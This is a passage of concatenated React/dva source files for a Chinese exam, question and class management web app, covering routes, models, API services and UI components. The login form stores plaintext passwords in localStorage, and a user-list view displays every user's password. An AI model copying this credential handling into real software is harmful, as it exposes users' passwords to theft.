action.push('/main/addquestions')
message.success(result.msg)
} else {
message.success(result.msg)
}
},
* getInfo(action, {
call,
put
}) {
let infodata = yield call(getInfo)
let viewAuthority = yield call(getViewAuthority,{user_id:infodata.data.user_id})
yield put({type:'changeViewAuthority',data:viewAuthority.data})
yield put({ type: 'changUserInfo', data: infodata.data })
}
}
}<file_sep>import React from 'react'
import styles from '../style.less'
class DetailRight extends React.Component {
render() {
let {conditionclasstype}=this.props
let conditionclasstypes=conditionclasstype.length&&conditionclasstype[0]
return (
<div className={styles.right}>
<h3>答案信息</h3>
<div>{conditionclasstypes.questions_answer}</div>
</div>
)
}
}
export default DetailRight<file_sep>import React from 'react'
import { connect } from "dva"
import { Select, Button, Spin } from 'antd';
import styles from './style.less'
const Option = Select.Option;
class WaitingClass extends React.Component {
constructor(props) {
super(props)
this.state = {
lists: ['全部', '已进行', '已结束'],
activeIndex: 0,
loading: true
}
}
tab = (index) => {
this.setState({
activeIndex: index
})
}
start = (time) => {
console.log(time)
}
add0 = (m) => { return m < 10 ? '0' + m : m }
start = (times) => {
//shijianchuo是整数,否则要parseInt转换
const time = new Date(times * 1);
const y = time.getFullYear();
const m = time.getMonth() + 1;
const d = time.getDate();
const h = time.getHours();
const mm = time.getMinutes();
const s = time.getSeconds();
return y + '-' + this.add0(m) + '-' + this.add0(d) + ' ' + this.add0(h) + ':' + this.add0(mm) + ':' + this.add0(s);
}
async componentDidMount() {
await this.props.dispatch({
type: 'paper/subject'
})
await this.props.dispatch({
type: 'paper/examTypes'
})
await this.props.dispatch({
type: 'paper/obtain'
})
this.setState({
loading: false
})
}
examDetail(item) {
this.props.history.push(`/main/details?id=${item}`)
}
render() {
let { lists, activeIndex } = this.state
const { subjec, exam, test } = this.props
return (
<Spin spinning={this.state.loading}>
<div className={styles.wrap}>
<div className={styles.header}>
<div className={styles.ipt}>
<label htmlFor=""><b>*</b>选择考试类型:</label>
<Select
style={{ width: 140, marginTop: 8 }}
onChange={this.handleProvinceChange}
>
{exam.map(province => <Option key={province.exam_id}>{province.exam_name}</Option>)}
</Select>
</div>
<div className={styles.ipt}>
<label htmlFor="" style={{ marginTop: 16 }}><b>*</b>选择课程:</label>
<Select
style={{ width: 140, marginTop: 8 }}
onChange={this.handleProvinceChange}
>
{subjec.map(province => <Option key={province.subject_id}>{province.subject_text}</Option>)}
</Select>
</div>
<Button type="primary" icon="search">查询</Button>
</div>
<div className={styles.paper}>
<div className={styles.list}>
<h4>试卷列表</h4>
<div className={styles.whole}>
<ul>
{
lists.map((item, index) => {
return (
<li key={index} className={activeIndex === index ? styles.active : ''} onClick={() => {
this.tab(index)
}}>{item}</li>
)
})
}
</ul>
</div>
</div>
<div className={styles.information}>
<p>试卷信息</p>
<p>班级</p>
<p>创建人</p>
<p>开始时间</p>
<p>结束时间</p>
<p>操作</p>
</div>
{
test.map((item, index) => {
return (
<div className={styles.details} key={index}>
<p>{item.title}</p>
<p>
<span>考试班级</span>
<span>{item.grade_name}</span>
</p>
<p>{item.user_name}</p>
<p onClick={() => {
this.start(item.start_time)
}}>{this.start(item.start_time)}</p>
<p>{this.start(item.end_time)}</p>
<p onClick={() => {
this.examDetail(item.exam_exam_id)
}}>详情</p>
</div>
)
})
}
</div>
</div>
</Spin>
)
}
}
const mapStateToProps = (state) => state.paper
export default connect(mapStateToProps)(WaitingClass)<file_sep>import loadComponent from '@/utils/loadComponent.js'
const examination = {
path: '/main',
name: 'Questions',
title: '考试管理',
icon: '',
children: [
{
path: '/main/addexam',
name: 'Addexam',
title: '添加考试',
component: loadComponent(['paper'], () => import('../routes/Examination/Addexam/'))
},
{
path: '/main/examinationlist',
name: 'Examinationlist',
title: '考试列表',
component: loadComponent(['paper'], () => import('../routes/Examination/Examinationlist/'))
},
{
path: '/main/details',
name: 'Details',
title: '',
component: loadComponent(['paper'], () => import('../routes/Examination/Details/'))
},
{
path: '/main/newtopic',
name: 'Newtopic',
title: '',
component: loadComponent(['paper'], () => import('../routes/Examination/Newtopic/'))
}
]
}
export default examination<file_sep>import React from 'react'
import { Tag } from 'antd'
const { CheckableTag } = Tag
class MyTag extends React.Component {
state = {
checkedIndex: ''
}
handleChange(index, subject_id) {
let { onClick } = this.props
this.setState({
checkedIndex: index
})
onClick(subject_id)
}
render() {
let { classtype } = this.props
return (
<div>
{
classtype.length && classtype.map((item, index) => {
return <CheckableTag key={item.subject_id} {...this.props} checked={this.state.checkedIndex === index} onChange={this.handleChange.bind(this, index, item.subject_id)}>{item.subject_text}</CheckableTag>
})
}
</div>
)
}
}
export default MyTag<file_sep>import request from '@/utils/request'
/**
* 获取用户id 获取当前用户视图
* @params {string} user_id
*/
export const getViewAuthority = (body) => {
return request('/user/new', {
method: 'get',
body
})
}<file_sep>import React from 'react'
import {
Table, Button, Modal, Input, Spin
} from 'antd'
import { connect } from 'dva'
import styles from '../style.less'
const { Column } = Table;
const confirm = Modal.confirm;
class questionsClassify extends React.Component {
state = { visible: false, userName: '', loading: true }
async componentDidMount() {
await this.props.dispatch({ type: 'questions/changeAllQuestionType' })
this.setState({
loading: false
})
}
showModal = () => {
this.setState({
visible: true
});
}
// 随机数
generateRandom = (count) => {
let num = Math.random() * count
return num
}
// 添加
handleOk = (e) => {
this.setState({
visible: false,
});
// 随机值
let num = this.generateRandom(1000)
this.props.dispatch({ type: 'questions/insertQuestionsTypeAsync', body: { text: this.state.userName, sort: num } })
this.props.dispatch({ type: 'questions/changeAllQuestionType' })
}
handleCancel = (e) => {
this.setState({
visible: false,
});
}
// 删除
showConfirm = (id) => {
let that = this
confirm({
title: '你确定删除吗?',
content: '删除这条',
// 确定
onOk() {
that.props.dispatch({ type: 'questions/delQuestionsTypeAsync', body: { id } })
that.props.dispatch({ type: 'questions/changeAllQuestionType' })
},
//取消
onCancel() {
console.log('Cancel');
}
});
}
onChangeUserName = (e) => {
this.setState({ userName: e.target.value });
}
render() {
let { allQuestionType } = this.props
return (
<Spin spinning={this.state.loading}>
<div className={styles.questionsClassify}>
<div className="type-topic-dialog">
<Button type="primary" onClick={this.showModal} style={{ width: "30%" }}>
+ 添加类型
</Button>
<Modal
title="创建新类型"
okText="确定"
cancelText="取消"
visible={this.state.visible}
onOk={this.handleOk}
onCancel={this.handleCancel}
>
<Input placeholder="请输入类型名称" value={this.state.userName} onChange={this.onChangeUserName} />
</Modal>
</div>
<Table dataSource={allQuestionType} rowKey="questions_type_id" >
<Column
title="类型ID"
dataIndex="questions_type_id"
/>
<Column
title="类型名称"
dataIndex="questions_type_text"
/>
<Column
title="操作"
dataIndex="questions_type_sort"
render={(text, record) => {
return <Button onClick={() => {
this.showConfirm(record.questions_type_id)
}}>删除</Button>
}}
/>
</Table>
</div>
</Spin>
)
}
}
let mapStateToProps = (state) => {
return state.questions
}
export default connect(mapStateToProps)(questionsClassify)<file_sep>import React, { Component } from 'react';
import { connect } from "dva"
import {
Form, Icon, Input, Button, Checkbox
} from 'antd';
import styles from "./styles.less"
class Login extends Component {
handleSubmit = (e) => {
let {
history: {
push
}
} = this.props
e.preventDefault();
this.props.form.validateFields((err, values) => {
if (!err) {
if (values.remember) {
localStorage.setItem("userName", values.userName)
localStorage.setItem("password", values.password)
}
this.props.dispatch({
type: 'login/getLogin', body: {
'user_name': values.userName,
'user_pwd': <PASSWORD>
}, push
})
}
});
}
render() {
const { getFieldDecorator } = this.props.form;
return (
<div className={styles.login}>
<Form onSubmit={this.handleSubmit} className={styles.loginBox}>
<h3>请登录</h3>
<Form.Item>
{getFieldDecorator('userName', {
rules: [{ required: true, message: '用户名不能为空' }],
})(
<Input prefix={<Icon type="user" style={{ color: 'rgba(0,0,0,.3)' }} />} placeholder="请输入用户名" />
)}
</Form.Item>
<Form.Item>
{getFieldDecorator('password', {
rules: [{ required: true, message: '密码不能为空' }],
})(
<Input prefix={<Icon type="lock" style={{ color: 'rgba(0,0,0,.3)' }} />} type="password" placeholder="请输入密码" />
)}
</Form.Item>
<Form.Item>
<div className="login-pwd">
{getFieldDecorator('remember', {
valuePropName: 'checked',
initialValue: false,
})(
<Checkbox>记住密码</Checkbox>
)}
<b className="login-form-forgot a" >忘记密码</b>
</div>
<Button type="primary" htmlType="submit" className="login-form-button">
登录
</Button>
</Form.Item>
</Form>
</div>
);
}
}
let mapStateToProps = state => {
return state
}
export default connect(mapStateToProps)(Form.create()(Login));
<file_sep>import React from 'react'
import styles from './style.less'
import { connect } from "dva"
import { List, Icon, Spin } from 'antd'
class ShowUser extends React.Component {
constructor(props) {
super(props)
this.state = {
exhibition: [
{
title: '用户数据'
},
{
title: '身份数据'
},
{
title: 'api接口权限'
},
{
title: '身份和api接口关系'
},
{
title: '试图接口权限'
},
{
title: '身份和视图权限关系'
}
],
titles: '用户数据',
current: 1,
activeIndex: '用户身份',
currents: 10,
loading: true
}
}
data2 = (item) => {
this.setState({
titles: item,
activeIndex: item
})
}
async componentDidMount() {
await this.props.dispatch({
type: 'add/user'
})
this.setState({
loading: false
})
}
IconText = ({ type, text }) => (
<span>
<Icon type={type} style={{ marginRight: 8 }} />
{text}
</span>
);
render() {
let { exhibition, titles, activeIndex } = this.state
let { users } = this.props
return (
<Spin spinning={this.state.loading}>
<div className={styles.wrap1}>
<div className={styles.Exhibition}>
{
exhibition.map((item, index) => {
return (
<div key={index} className={activeIndex === item.title ? styles.active : ''} onClick={() => {
this.data2(item.title)
}}>{item.title}</div>
)
})
}
</div>
<div className={styles.data1}>
<h2>{titles}</h2>
</div>
<div className={styles.name}>
<span>用户名</span>
<span>密码</span>
<span>身份</span>
</div>
<List
itemLayout="vertical"
size="large"
pagination={{
pageSize: 10,
}}
dataSource={users}
renderItem={item => (
<List.Item key={item.user_id}>
<List.Item.Meta />
<div className={styles.list}>
<p> {item.user_name}</p>
<p>{item.user_pwd}</p>
<p>{item.identity_text}</p>
</div>
{item.content}
</List.Item>
)}
/>
</div>
</Spin>
)
}
}
const mapStateToProps = (state) => state.add
export default connect(mapStateToProps)(ShowUser)<file_sep>import React from 'react'
import { connect } from "dva"
import styles from './style.less'
import { Button } from 'antd';
class Details extends React.Component {
biography = () => {
return this.props.history.location.search.slice(7)
}
establish=()=>{
this.props.history.push(`/main/examinationlist`)
}
render() {
return (
<div className={styles.wrap}>
<div className={styles.Newtopic}>
<h2>添加新题</h2>
</div>
<div className={styles.Title}>
<h3>{this.biography()}</h3>
<h4>考试时间:1小时30分钟 监考人:刘于 开始考试时间:2018.9.10 10:00 阅卷人:刘于</h4>
</div>
<Button type="primary" onClick={()=>{
this.establish()
}}>创建试卷</Button>
</div>
)
}
}
const mapStateToProps = (state) => state.paper
export default connect(mapStateToProps)(Details)<file_sep>import React from 'react'
import { connect } from 'dva'
import SelectComp from './SelectComp.js'
import ExamList from './ExamList.js'
import {
Button
} from 'antd'
class WaitingClass extends React.Component {
componentDidMount() {
let searchs = this.props.location.search.split('=')[1]
this.props.dispatch({ type: 'questions/WaitingapprovalAsync' })
this.props.dispatch({ type: 'questions/getStudentDetailAsync', data: { grade_id: searchs } })
}
render() {
let { Waitingapproval } = this.props
return (
<React.Fragment>
<div style={{ background: '#fff', borderRadius: '5px', padding: '15px' }}>
<SelectComp
DataArray={Waitingapproval}
title='班级:'
>
</SelectComp>
<SelectComp
DataArray={Waitingapproval}
title='班级:'
>
</SelectComp>
<Button type="primary" icon="search">查询</Button>
</div>
<ExamList></ExamList>
</React.Fragment>
)
}
}
let mapStateToProps = state => state.questions
export default connect(mapStateToProps)(WaitingClass)<file_sep>import React from 'react'
import { connect } from 'dva'
import DetailLeft from './DetailLeft/index'
import DetailRight from './DetailRight/index'
import styles from './style.less'
class QuestionsDetail extends React.Component {
componentDidMount() {
let {history:{
location:{
search
}
}}=this.props
let question_id=search.split('=')[1]
this.props.dispatch({type:"questions/getQuestionsConditionAsync",data:{questions_id:question_id}})
}
render() {
let {conditionClassType}=this.props
return (
<div className={styles.details}>
<DetailLeft conditionclasstype={conditionClassType}></DetailLeft>
<DetailRight conditionclasstype={conditionClassType}></DetailRight>
</div>
)
}
}
let mapStateToProps = (state) => {
return state.questions
}
export default connect(mapStateToProps)(QuestionsDetail)<file_sep>import {getStudent,getClassRoom,getClassInfo,deteleStudent} from "../services/studentMag"
import {message} from 'antd'
export default {
namespace: 'studentMag',
state: {
studentInfo:[],
classRoomData:[],
classMsgInfo:[]
},
reducers: {
saveStudentInfo(state,action){
return {...state,...action}
}
},
effects: {
* getStudent(payload, {//所有学生信息
call,
put
}) {
let result = yield call(getStudent, payload.body)
yield put({type:'saveStudentInfo',studentInfo:result.data})
},
*getClassRoom(payload,{call,put}){//获取教室号
let data = yield call(getClassRoom)
yield put({ type: 'saveStudentInfo' ,classRoomData:data.data});
},
*getClassInfo({ payload }, { call, put }) { // 获取班级管理数据
let data = yield call(getClassInfo)
yield put({ type: 'saveStudentInfo' ,classMsgInfo:data.data});
},
*deteleStudent(payload,{call,put}){//删除学生
let data = yield call(deteleStudent,payload.body)
console.log(data,'data')
if(data.code===1){
message.success(data.msg)
}
},
*searchStudent(payload,{call,put}){
let {studentName,classId,roomId} = payload.body
console.log(studentName,classId,roomId)
yield
}
}
}<file_sep>import loadComponent from '@/utils/loadComponent.js'
const ClassManagement = {
path: '/main',
name: 'ClassManagement',
title: '班级管理',
icon: '',
children: [
{
path: '/main/ClassManagements',
name: 'ClassManagements',
title: '班级管理',
component: loadComponent(['classMsg'], () => import('../routes/ClassManagement/ClassManagements/'))
},
{
path: '/main/ClassRoomMag',
name: 'ClassRoomMag',
title: '教室管理',
component: loadComponent(['roomMsg'], () => import('../routes/ClassManagement/ClassRoomMag/'))
},
{
path: '/main/StudentMag',
name: 'StudentMag',
title: '学生管理',
component: loadComponent(['studentMag'], () => import('../routes/ClassManagement/StudentMag/'))
}
]
}
export default ClassManagement<file_sep>import React from 'react'
import { Route, Switch, withRouter } from 'dva/router'
import { Layout, Breadcrumb } from 'antd'
import { getLayoutRoute, getRouterInfo } from '@/routerConfig/router.config'
import styles from "../styles.less";
const { Content } = Layout;
class Contents extends React.Component {
// 动态计算title
get title() {
let title = getRouterInfo(this.props.location.pathname).title
document.title = title
return title
}
render() {
return (
<Layout style={{ padding: '0 24px 24px' }} className={styles.con}>
<Breadcrumb style={{ margin: '16px 0', fontSize: '18px' }}>
<Breadcrumb.Item>
{this.title}
</Breadcrumb.Item>
</Breadcrumb>
<Content className={styles.Content}>
<Switch>
{
getLayoutRoute('BaseLayout').map(item => {
return <Route
path={item.path}
key={item.name}
component={item.component}
></Route>
})
}
</Switch>
</Content>
</Layout>
)
}
}
export default withRouter(Contents)
<file_sep>import React from 'react'
import { connect } from 'dva'
import styles from './styles.less'
import MyTag from './MyTag/index'
import {
Button, Select, List, Tag, Spin
} from 'antd';
const Option = Select.Option;
class SeeExam extends React.Component {
state = {
getquestions: {
},
activeIndex: 0,
loading: true
}
async componentDidMount() {
// 筛选全题
await this.props.dispatch({ type: "questions/getQuestionsConditionAsync", data: {} })
// 周考...
await this.props.dispatch({ type: "questions/changeExamType" })
// 题目类型
await this.props.dispatch({ type: "questions/changeAllQuestionType" })
// 所有课程
await this.props.dispatch({ type: "questions/changeAllSubject" })
this.setState({
loading: false
})
}
// 跳转detail
examDetail(item) {
this.props.history.push(`/main/questionsdetail?questinos_id=${item.questions_id}`)
}
// 筛选数据
searchData() {
this.props.dispatch({ type: "questions/getQuestionsConditionAsync", data: this.state.getquestions })
}
changeTab = (item) => {
let { getquestions } = this.state
getquestions.subject_id = item
this.setState({
getquestions
})
}
render() {
let {
examType,
allQuestionType,
conditionClassType,
ClassType
} = this.props
let { getquestions } = this.state
return (
<Spin spinning={this.state.loading}>
<div className={styles.top}>
<div className={styles.classType}>
<span className={styles.names}>课程类型:</span>
<div className={styles.choose}>
<MyTag onClick={this.changeTab} classtype={ClassType} ></MyTag>
</div>
</div>
<div className={styles.examtype}>
<span>考试类型:</span>
<Select defaultValue="请选择" style={{ width: 250 }} onChange={(value) => {
getquestions.exam_id = value
this.setState({
getquestions
})
}}>
{
examType.length && examType.map((ele) => {
return <Option value={ele.exam_id} key={ele.exam_id}>{ele.exam_name}</Option>
})
}
</Select>
<span>题目类型:</span>
<Select defaultValue="请选择" style={{ width: 250 }} onChange={(value) => {
getquestions.questions_type_id = value
this.setState({
getquestions
})
}}>
{
allQuestionType.length && allQuestionType.map((ele) => {
return <Option key={ele.questions_type_id}>{ele.questions_type_text}</Option>
})
}
</Select>
<Button type="primary" icon="search" className={styles.search} onClick={this.searchData.bind(this)}>查询</Button>
</div>
</div>
<div className={styles.bottom}>
<List
className="browse-right-bot"
itemLayout="horizontal"
dataSource={conditionClassType}
renderItem={(item, key) => (
<List.Item className={styles.hoverHeight}>
<List.Item.Meta
key={key}
className="browse-right-bot-list"
title={
<div style={{
cursor: 'pointer'
}} onClick={() => {
this.examDetail(item)
}}>
<div style={{ marginBottom: '10px' }}>{item.title}</div>
<div style={{ marginBottom: '10px' }}>
<Tag color="magenta" >{item.questions_type_text}</Tag>
<Tag color="geekblue" >{item.subject_text}</Tag>
<Tag color="orange" >{item.exam_name}</Tag>
</div>
</div>
}
description={item.user_name + "发布"}
/>
<b className={styles.edit} onClick={() => {
this.props.history.push(`/main/editquestions?id=${item.questions_id}`)
}}>编辑</b>
</List.Item>
)}
/>
</div>
</Spin>
)
}
}
let mapStateToProps = (state) => {
return state.questions
}
export default connect(mapStateToProps)(SeeExam)<file_sep>import React from 'react'
import TestQuestions from '@/components/TestQuestions/index'
class AddQuestions extends React.Component{
render(){
return <TestQuestions typewithquestions="add"></TestQuestions>
}
}
export default AddQuestions<file_sep>import React from 'react'
import {
Select
} from 'antd';
import {PropTypes} from 'prop-types'
const Option = Select.Option;
class SelectComp extends React.Component {
searchData() {
console.log('search');
}
render() {
let { DataArray, title } = this.props
return (
<React.Fragment>
<span>{title}</span>
<Select defaultValue="请选择" style={{ width: 250 }}>
{
DataArray.length && DataArray.map((ele) => {
return <Option key={ele.grade_id}>{ele.grade_name}</Option>
})
}
</Select>
</React.Fragment>
)
}
}
SelectComp.propTypes = {
DataArray:PropTypes.array
}
export default SelectComp<file_sep>import { app } from '../index'
import dynamic from 'dva/dynamic'
const loadComponent = (models, component) => {
return dynamic({
app,
models: () => models.map((name) => import(`../models/${models}`)),
component
})
}
export default loadComponent<file_sep>import React from "react"
import { connect } from "dva"
import { Modal, Input,Button } from 'antd'
class Mask extends React.Component{
state = { visible: false }
showModal = () => {
this.setState({
visible: true,
roomName:''
});
}
handleOk = (e) => {
this.props.dispatch({
type:'roomMsg/addRoom',
body:{
room_text:this.state.roomName
}
})
this.setState({
visible: false,
});
this.props.dispatch({
type:'roomMsg/getRoom'
})
}
handleCancel = (e) => {
console.log(e);
this.setState({
visible: false,
});
}
roomName = (e) =>{
this.setState({
roomName:e.target.value
})
}
render(){
let {roomName} = this.state
return <div>
<Button type="primary" onClick={this.showModal} style={{ marginBottom:20 }}>
添加教室
</Button>
<Modal
title="Basic Modal"
visible={this.state.visible}
onOk={this.handleOk}
onCancel={this.handleCancel}
>
<div>
<p>教室号:</p>
<Input placeholder="教室名" value={roomName} onChange={(e)=>{
this.roomName(e)
}} />
</div>
</Modal>
</div>
}
}
let mapStateToProps = (state) => {
return state
}
export default connect(mapStateToProps)(Mask)<file_sep>import loadComponent from '@/utils/loadComponent.js'
import Main from '../layouts/MainLayout/index'
import examination from './examination.js' //考试管理
import AuthorityManage from './authority.js' // 权限管理
import questions from './questions.js' // 试题管理
import userManagement from './userManagement.js'// 用户管理
import ClassManagement from './ClassManagement.js'//班级管理
import ReadQuestions from './ReadQuestions.js' // 阅卷管理
const routes = [
{
path: '/login',
component: loadComponent(['login'], () => import('../routes/Login'))
},
{
path: '/',
component: Main, //主路由
layouyName: "BaseLayout",
children: [
questions,
userManagement,
examination,
ClassManagement,
ReadQuestions,
AuthorityManage
]
}
]
const getLayoutRoute = (layouyName) => {
const layoutRoutesObj = {}
routes.forEach((item, index) => {
if (item.layouyName) {
layoutRoutesObj[layouyName] = item.children.map((ele, ind) => {
return ele.children
})
}
})
return flattenArr(layoutRoutesObj[layouyName])
}
// 将多维数组转为一维数组
function flattenArr(arr) {
var result = [];
function flatten(arr) {
for (var i = 0; i < arr.length; i++) {
if (Array.isArray(arr[i])) {
flatten(arr[i]);
} else {
result.push(arr[i]);
}
}
}
flatten(arr);
return result;
}
const getRouterInfo = (() => {
const routersInfo = {}
const getRouterInfoObj = ( routeArr = routes) => {
routeArr.forEach((item, index) => {
routersInfo[item.path] = {
name: item.name,
title: item.title
}
if (item.children) {
getRouterInfoObj(item.children)
}
})
}
getRouterInfoObj()
return (pathname) => {
return routersInfo[pathname]
}
})()
export {
routes,
getLayoutRoute,
getRouterInfo
}<file_sep>import request from '../utils/request'
export const establish = (body) => {
return request('/exam/exam',{
method:'post',
body
});
}
export const subject=()=>{
return request('/exam/subject',{
method:'get',
})
}
export const examType=()=>{
return request('/exam/examType',{
method:'get'
})
}
export const getQuestionsType=()=>{
return request('/exam/getQuestionsType',{
method:'get'
})
}
export const obtain=()=>{
return request('/exam/exam',{
method:'get'
})
}
export const detail=(body)=>{
console.log(body)
return request(`/exam/exam/${body.id}`,{
method:'get'
})
}
<file_sep>import request from '../utils/request'
export const addQuestions = (body) => {
return request('/exam/questions', {
method: 'post',
body
})
}
// 考试类型
export const ExamType = () => {
return request('/exam/examType')
}
// 所有课程
export const AllSubject = () => {
return request('/exam/subject')
}
// 题目类型
export const AllQuestionType = () => {
return request('/exam/getQuestionsType')
}
// 添加试题类型
export const insertQuestionsType = (body) => {
return request('/exam/insertQuestionsType', {
method: 'get',
body
})
}
// 删除指定的试题类型
export const delQuestionsType = (body) => {
return request('/exam/delQuestionsType', {
method: 'post',
body
})
}
// 按条件获取试题
export const getQuestionsCondition = (body) => {
return request('/exam/questions/condition', {
method: 'get',
body
})
}
// 待批班级
export const Waitingapproval = () => {
return request('/manger/grade')
}
// 班级试卷详情
export const getStudentDetail = (body) => {
return request('/exam/student', {
method:'get',
body
})
}
// 更新试题
export const updateQuestions = (body) => {
return request('/exam/questions/update', {
method:'PUT',
body
})
}
<file_sep>import React from 'react'
import {Table,Button,Modal} from 'antd';
import { connect} from "dva"
import styles from './style.less'
import Mask from './mask'
const { Column } = Table;
const confirm = Modal.confirm;
class ClassRoomMag extends React.Component{
constructor(props){
super(props)
this.state={
}
}
remgrade(text){
let that = this
confirm({
title: '你确定要删除这条信息吗?',
content: 'Some descriptions',
okText: '确定',
okType: 'danger',
cancelText: '取消',
onOk() {
that.props.dispatch({
type:'roomMsg/removeRoom',
body:{
room_id:text.room_id
}
})
that.props.dispatch({
type:'roomMsg/getRoom'
})
},
onCancel() {
},
})
}
componentDidMount(){
this.props.dispatch({
type:'roomMsg/getRoom'
})
}
render(){
let {roomData,mask} = this.props.roomMsg
return (
<div className={styles.roomContent}>
<div className="in-typeTopic">
<div className="little-classGrade">
<Mask></Mask>
<div className="typeList">
<Table dataSource={roomData} rowKey="room_id">
<Column
title="教室名"
dataIndex="room_text"
/>
<Column
title="操作"
render={(text, record) => (
<div style={{display:"flex"}} >
<Button type="dashed" onClick={()=>{
this.remgrade(text)
}}><b className="a" >删除</b></Button>
</div>
)}
/>
</Table>
</div>
</div>
</div>
{
mask?<Mask></Mask>:null
}
</div>
)
}
}
let mapStateToProps = (state) => {
return state
}
export default connect(mapStateToProps)(ClassRoomMag)
<file_sep>import React from 'react'
//引入样式
import styles from "./style.less"
import { connect } from "dva"
//进入组件
import GradeModel from './conponments/GradeModel'
// import GradeModel from '@/components/GradeModel'
//引入antd
import {Table,Button} from 'antd';
const { Column } = Table
class ClassManagements extends React.Component{
constructor(props){
super(props)
this.state={
}
}
async componentDidMount(){
await this.props.dispatch({
type:'classMsg/getClassInfo'
})
}
async deteleClass(val){
await this.props.dispatch({
type:'classMsg/getDetele',body:{
grade_id:val.grade_id
}
})
await this.props.dispatch({
type:'classMsg/getClassInfo'
})
}
sendClassData= (event) =>{
console.log(event,'event')
}
render(){
let {classMsgInfo,flag} = this.props.classMsg
return (
<div className={styles.classContent}>
<div className="in-typeTopic">
<div className="little-classGrade">
<div className={styles.addClass}>
<GradeModel sendClassData={this.sendClassData}></GradeModel>
</div>
<div className="typeList">
<Table dataSource={classMsgInfo} rowKey="grade_id">
<Column
title="班级名"
dataIndex="grade_name"
/>
<Column
title="课程名"
dataIndex="subject_text"
/>
<Column
title="教室号"
dataIndex="room_text"
/>
<Column
title="操作"
render={(text, record) => (
<div style={{display:"flex"}} >
<GradeModel text={text} className={styles.btn}></GradeModel>
<Button className={styles.btn} onClick={(e)=>{
this.deteleClass(text)
}}>删除</Button>
</div>
)}
/>
</Table>
</div>
</div>
</div>
{/* 弹出框 */}
{
flag?<GradeModel></GradeModel>:null
}
</div>
)
}
}
let mapStateToProps = state =>{
return state
}
export default connect(mapStateToProps)(ClassManagements)<file_sep>import {
getClassInfo,
getClassRoom,
getSubject,
getDetele,
getAddClass,
getChangeClass
} from "../services/classMsg"
import {message} from 'antd'
export default {
namespace:'classMsg',
state: {
classMsgInfo:[],
flag:false,
changeData:{},
classRoomData:[],
subjectData:[],
deteleCode:'',
AddCode:''
},
subscriptions: {
setup({ dispatch, history }) { // eslint-disable-line
},
},
effects: {
*getClassInfo({ payload }, { call, put }) { // 获取班级管理数据
let data = yield call(getClassInfo)
yield put({ type: 'save' ,data:data});
},
*addClass(payload , { call, put }){//更改遮罩层显示及遮罩层传参
if(payload.data===1){
yield put({type:'newData',data:''})
yield put({type:'changeFlag',data:true})
}else{
yield put({type:'changeFlag',data:true})
yield put({type:'newData',data:payload.data})
}
},
*closeMask({payload},{call,put}){//关闭遮罩层
yield put({type:'changeFlag',data:false})
},
*getClassRoom(payload,{call,put}){//获取教室号
let data = yield call(getClassRoom)
yield put({ type: 'saveClassRoomData' ,data:data});
},
*getSubject(payload,{call,put}){//获取课程名称
let data = yield call(getSubject)
yield put({ type: 'saveSubjectData' ,data:data});
},
*getDetele(payload,{call,put}){//删除班级
let resolve = yield call(getDetele,payload.body)
if(resolve.code===1){
yield put({type:'saveDeteleCode',data:resolve.code})
message.success(resolve.msg)
}else{
message.success(resolve.msg)
}
},
*getAddClass(payload,{call,put}){//添加班级
let resolve = yield call(getAddClass,payload.body)
if(resolve.code===1){
yield put({type:'saveAddCode',data:resolve.code})
message.success(resolve.msg)
}else{
message.success(resolve.msg)
}
},
*getChangeClass(payload,{call,put}){//修改班级数据
let resolve = yield call(getChangeClass,payload.body)
console.log(resolve,'resolve')
}
},
reducers: {
save(state, action) {
return { ...state, classMsgInfo:action.data.data };//更新初始页面数据
},
changeFlag(state, action) {
return { ...state, flag:action.data };//更改flag
},
newData(state, action) {
return { ...state, changeData:action.data };//遮罩层传递参数
},
saveClassRoomData(state,action){
return {...state,classRoomData:action.data.data}//保存教室号数据
},
saveSubjectData(state,action){
return {...state,subjectData:action.data.data}//保存课程信息数据
},
saveDeteleCode(state,action){
return {...state,deteleCode:action.data}//保存删除状态
},
saveAddCode(state,action){
return {...state,AddCode:action.data}//保存删除状态
}
}
}<file_sep>import request from '../utils/request'
export const add = (body) => {
return request('/user',{
method:'post',
body
})
}
export const update = (body) => {
return request('/user/user', {
method: "put",
body
});
}
export const identity = (body) => {
return request('/user/identity/edit',{
method:'get',
body
})
}
export const apt = (body) => {
return request('/user/authorityApi/edit',{
method:'get',
body
})
}
export const view = (body) => {
return request('/user/authorityView/edit',{
method:'get',
body
})
}
export const permissions = (body) => {
return request('/user/setIdentityApi',{
method:'post',
body
});
}
export const setup = (body) => {
return request('/user/setIdentityView',{
method:'post',
body
})
}
export const exhibition = () => {
return request('/user/identity',{
method:'get'
}) //get方法请求
}
export const user = () => {
return request('/user/user',{
method:'get'
}) //get方法请求
}
export const authority = (body) => {
return request('/user/view_authority',{
method:'get'
})
}
export const apiauthority = (body) => {
return request('/user/api_authority',{
method:'get'
})
}
// export const update = (body) => {
// return request('/user/user', {
// method: "put",
// body
// });
// }
<file_sep>import request from '../utils/request'
// 班级试卷详情
export const getLogin = (body) => {
return request('/user/login',{
method:'post',
body
})
}
export const getInfo=()=> {
return request('/user/userInfo')
}
<file_sep>import React from 'react'
import styles from './style.less'
import { Select, Button, message } from 'antd';
import { connect } from "dva"
const Option = Select.Option;
class AddUser extends React.Component {
constructor(props) {
super(props)
this.state = {
user: [
{
add1: '添加用户',
},
{
add1: '更新用户'
}
],
activeIndex: 0,
iconLoading: false,
name: '',
pwd: '',
ids: '',
identity: '',
text: '',
url: '',
mehtod: '',
test: '',
id: '',
identityid: '',
apiauthorityid: '',
identityids: '',
viewauthorityid: '',
show: true,
isshow: false
}
}
reset = () => {
this.setState({
name: '',
pwd: ''
})
}
resets = () => {
this.setState({
identity: ''
})
}
rese = () => {
this.setState({
text: '',
url: '',
mehtod: ''
})
}
LoginMines = () => {
this.props.dispatch({
type: 'add/addUser',
payload: {
'user_name': this.state.name,
'user_pwd': <PASSWORD>,
'identity_id': this.state.ids
}
})
}
update = () => {
this.props.dispatch({
type: 'add/updates',
payload: {
'user_id': this.state.name
}
})
}
click = (index) => {
this.setState({
activeIndex: index
})
if (index === 0) {
this.setState({
show: true,
isshow: false
})
} else {
this.setState({
show: false,
isshow: true
})
}
}
names = (e) => {
this.setState({
name: e.target.value
})
}
pwds = (e) => {
this.setState({
pwd: e.target.value
})
}
text = (item) => {
this.setState({
ids: item
})
}
texts = (e) => {
this.setState({
text: e.target.value
})
}
urls = (e) => {
this.setState({
url: e.target.value
})
}
mehtods = (e) => {
this.setState({
mehtod: e.target.value
})
}
ident = (e) => {
this.setState({
identity: e.target.value
})
}
enterIconLoading = () => {
this.setState({ iconLoading: true });
}
sure = () => {
if (this.state.identity === '') {
message.error('名称不能为空');
} else {
